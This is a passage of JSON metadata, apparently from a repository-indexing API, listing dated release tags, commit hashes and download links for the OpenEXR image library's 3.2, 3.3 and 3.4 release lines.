f3a096e8f69e1836b210976585189a5fca","kind":"tag","published_at":"2026-08-06T20:26:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.11","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.11/manifests","release_url":null},{"name":"v3.4.14-rc","sha":"777d231a179de1711d2a942810d9559216ab3f4c","kind":"tag","published_at":"2026-08-05T01:32:39.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.14-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.14-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.14-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.14-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.14-rc/manifests","release_url":null},{"name":"v3.3.13-rc","sha":"ca50a6bb1f64c4d53362e4b67aec33e67cb7d425","kind":"tag","published_at":"2026-08-05T01:32:05.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.13-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.13-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.13-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.13-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.13-rc/manifests","release_url":null},{"name":"v3.2.11-rc","sha":"ba4b1af3a096e8f69e1836b210976585189a5fca","kind":"tag","published_at":"2026-08-05T01:30:42.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.11-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.11-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.11-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.11-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.11-rc/manifests","release_url":null},{"name":"v3.3.12","sha":"d1dcb760459e6cf9985b98deb118abc6de12f9bb","kind":"tag","published_at":"2026-06-22T03:38:31.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.12","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.12/manifests","release_url":null},{"name":"v3.2.10","sha":"821935abdf05db156841b692a1deb8d6f48ffd0a","kind":"tag","published_at":"2026-06-22T03:38:07.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.10","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.10/manifests","release_url":null},{"name":"v3.2.10-rc","sha":"821935abdf05db156841b692a1deb8d6f48ffd0a","kind":"tag","published_at":"2026-06-19T18:37:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.10-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.10-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.10-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.10-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.10-rc/manifests","release_url":null},{"name":"v3.4.13","sha":"c1194b2cb23a1bdf76fe5e756b22e8436b9a98c9","kind":"tag","published_at":"2026-06-19T17:42:55.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.13","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13/manifests","release_url":null},{"name":"v3.3.12-rc","sha":"d1dcb760459e6cf9985b98deb118abc6de12f9bb","kind":"commit","published_at":"2026-06-19T01:00:08.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.12-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.12-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.12-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.12-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.12-rc/manifests","release_url":null},{"name":"v3.4.13-rc3","sha":"c1194b2cb23a1bdf76fe5e756b22e8436b9a98c9","kind":"tag","published_at":"2026-06-18T02:32:39.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.13-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.13-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.13-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13-rc3/manifests","release_url":null},{"name":"v3.4.13-rc2","sha":"c8bea6798a6a0ef704fead59e7427932edd52a8c","kind":"tag","published_at":"2026-06-17T21:40:45.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.13-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.13-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.13-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13-rc2/manifests","release_url":null},{"name":"v3.4.13-rc","sha":"2cfbef028ac9724b7ce50db05a47bf07ec816c72","kind":"commit","published_at":"2026-06-12T01:25:22.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.13-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.13-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.13-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.13-rc/manifests","release_url":null},{"name":"v3.4.12","sha":"4d22f773b88673eea92cdc57c2391fe9dceeabd5","kind":"tag","published_at":"2026-05-24T19:08:06.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.12","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.12/manifests","release_url":null},{"name":"v3.4.12-rc2","sha":"744a60e996a38ac49439b98435d8d6aee3c23d05","kind":"tag","published_at":"2026-05-21T13:22:38.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.12-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.12-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.12-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.12-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.12-rc2/manifests","release_url":null},{"name":"v3.4.11","sha":"d25e2a83b5a5f0eb9e350de8218fa27c348da203","kind":"tag","published_at":"2026-04-29T21:33:26.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.11","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11/manifests","release_url":null},{"name":"v3.3.11","sha":"c949e9f7be387daeac44797e04b7e6951e583901","kind":"tag","published_at":"2026-04-29T21:31:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.11","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11/manifests","release_url":null},{"name":"v3.2.9","sha":"97f56983d93adc6eb9e6789c144720224de48490","kind":"tag","published_at":"2026-04-29T21:29:59.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.9","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.9/manifests","release_url":null},{"name":"v3.4.11-rc3","sha":"d25e2a83b5a5f0eb9e350de8218fa27c348da203","kind":"tag","published_at":"2026-04-27T15:42:06.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.11-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.11-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.11-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11-rc3/manifests","release_url":null},{"name":"v3.3.11-rc3","sha":"c949e9f7be387daeac44797e04b7e6951e583901","kind":"tag","published_at":"2026-04-27T02:38:13.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.11-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.11-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.11-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11-rc3/manifests","release_url":null},{"name":"v3.3.11-rc2","sha":"b206df79fc67e3c70aadad886833dc71a01a71a6","kind":"tag","published_at":"2026-04-27T01:49:55.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.11-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.11-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.11-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11-rc2/manifests","release_url":null},{"name":"v3.4.11-rc2","sha":"8e6f745889b2b88c07825a3ba0a927cd2130e843","kind":"tag","published_at":"2026-04-27T01:40:01.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.11-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.11-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.11-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11-rc2/manifests","release_url":null},{"name":"v3.3.11-rc","sha":"0164175bc78719d62c6b586462611c2cbd752102","kind":"tag","published_at":"2026-04-26T17:41:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.11-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.11-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.11-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.11-rc/manifests","release_url":null},{"name":"v3.2.9-rc","sha":"97f56983d93adc6eb9e6789c144720224de48490","kind":"tag","published_at":"2026-04-26T17:40:38.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.9-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.9-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.9-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.9-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.9-rc/manifests","release_url":null},{"name":"v3.4.11-rc","sha":"b2d23e21ac1c02f8f9cc25da85b521ec1d4f49f4","kind":"tag","published_at":"2026-04-26T17:39:12.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.11-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.11-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.11-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.11-rc/manifests","release_url":null},{"name":"v3.4.10","sha":"67de2bffbd7da508f75fbdc56e6e551a4e31fb83","kind":"tag","published_at":"2026-04-17T15:29:47.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.10","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.10/manifests","release_url":null},{"name":"v3.3.10","sha":"eed3172fb3a6807f59a068d0fc367d540a1789d4","kind":"tag","published_at":"2026-04-17T15:28:49.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.10","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.10/manifests","release_url":null},{"name":"v3.2.8","sha":"f8118548eb5e661c7987201649872642999fa6d1","kind":"tag","published_at":"2026-04-17T15:27:23.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.8","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.8/manifests","release_url":null},{"name":"v3.3.10-rc2","sha":"eed3172fb3a6807f59a068d0fc367d540a1789d4","kind":"tag","published_at":"2026-04-15T19:54:40.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.10-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.10-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.10-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.10-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.10-rc2/manifests","release_url":null},{"name":"v3.2.8-rc","sha":"f8118548eb5e661c7987201649872642999fa6d1","kind":"tag","published_at":"2026-04-15T16:03:31.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.8-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.8-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.8-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.8-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.8-rc/manifests","release_url":null},{"name":"v3.3.10-rc","sha":"34b9b9fbe8f6a468c205cc1b2dd623aaa0272785","kind":"tag","published_at":"2026-04-15T16:01:17.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.10-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.10-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.10-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.10-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.10-rc/manifests","release_url":null},{"name":"v3.4.10-rc","sha":"67de2bffbd7da508f75fbdc56e6e551a4e31fb83","kind":"tag","published_at":"2026-04-15T15:58:00.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.10-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.10-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.10-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.10-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.10-rc/manifests","release_url":null},{"name":"v3.4.9","sha":"b5fa98ac6b5fc660c0295123c1d02bbf687dbec3","kind":"tag","published_at":"2026-04-03T20:43:05.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.9","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.9/manifests","release_url":null},{"name":"v3.3.9","sha":"8bb3562bd7bd833bd052224c596cb4aba94afb1b","kind":"tag","published_at":"2026-04-03T20:40:57.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.9","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.9/manifests","release_url":null},{"name":"v3.2.7","sha":"f6f9cee0da36e8e806f7c9186f737db487782b69","kind":"tag","published_at":"2026-04-03T20:37:55.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.7","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.7/manifests","release_url":null},{"name":"v3.3.9-rc2","sha":"8bb3562bd7bd833bd052224c596cb4aba94afb1b","kind":"tag","published_at":"2026-04-02T23:03:53.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.9-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.9-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.9-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.9-rc2/manifests","release_url":null},{"name":"v3.2.7-rc","sha":"f6f9cee0da36e8e806f7c9186f737db487782b69","kind":"tag","published_at":"2026-04-02T23:00:56.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.7-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.7-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.7-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.7-rc/manifests","release_url":null},{"name":"v3.3.9-rc","sha":"b74b0d74dbcf4875c648c90c8262ae1755d7ad8a","kind":"tag","published_at":"2026-04-02T14:29:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.9-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.9-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.9-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.9-rc/manifests","release_url":null},{"name":"v3.4.9-rc","sha":"8de91e69f139e5d4b403a813ce1ac765b3e3c9bd","kind":"tag","published_at":"2026-04-01T23:15:41.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.9-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.9-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.9-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.9-rc/manifests","release_url":null},{"name":"v3.4.8","sha":"adbd2a588b47b1f6d02557571d8e36a91084da8a","kind":"tag","published_at":"2026-03-26T14:39:45.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.8","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.8/manifests","release_url":null},{"name":"v3.4.8-rc","sha":"adbd2a588b47b1f6d02557571d8e36a91084da8a","kind":"tag","published_at":"2026-03-23T19:17:31.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.8-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.8-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/